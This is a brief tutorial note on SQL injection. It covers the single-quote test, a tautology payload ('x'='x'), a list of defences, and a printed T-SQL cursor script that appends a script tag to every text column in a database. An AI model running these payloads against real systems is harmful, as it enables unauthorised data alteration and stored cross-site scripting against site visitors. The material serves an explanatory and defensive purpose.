SQL Injection Attacks

SQL Injection is to convince the application to run SQL code that was not intended. It is a subset of the an unverified user input vulnerability. If the application is creating SQL strings naively on the fly and then running them, it's vulnerabe to be attacked by SQL Injection.

First test in any SQL-ish form is to enter a single quote as part of the data: the intention is to see if they construct an SQL string literally without sanitizing. When submitting the form with a quote in the email address, we get a 500 server failure error and this suggests that the "broken" input is actually being parsed literally.

SELECT column_list
FROM table
WHERE column_name = 'anything' OR 'x'='x';

Web application developers often simply do not think about "surprise inputs", but security people including the bad guys do. The following are approaches to prevent SQL injection -

  • Sanitize the input
  • Escape/Quotesafe the input
  • Use bound parameters (the PREPARE statement)
  • Limit database permissions and segregate users
  • Use stored procedures for database access
  • Isolate the web server
  • Configure error reporting

If the database isn't read-only, then SQL injection would be more harmful.

DECLARE @T VARCHAR(255), @C VARCHAR(255)

DECLARE TABLE_CURSOR CURSOR FOR
SELECT A.NAME, B.NAME
FROM SYSOBJECTS A,
     SYSCOLUMNS B
WHERE A.ID = B.ID AND A.XTYPE='u'
AND (B.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)

OPEN TABLE_CURSOR
FETCH NEXT FROM TABLE_CURSOR
  INTO @T,@C
WHILE (@@FETCH_STATUS = 0)
BEGIN
  EXEC ('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))
       +''<script>alert(''''SQL injection'''')</script>''')
  FETCH NEXT FROM TABLE_CURSOR
    INTO @T,@C
END

CLOSE TABLE_CURSOR
DEALLOCATE TABLE_CURSOR

SQL Injection Attacks by Example - Steve Friedl

Snort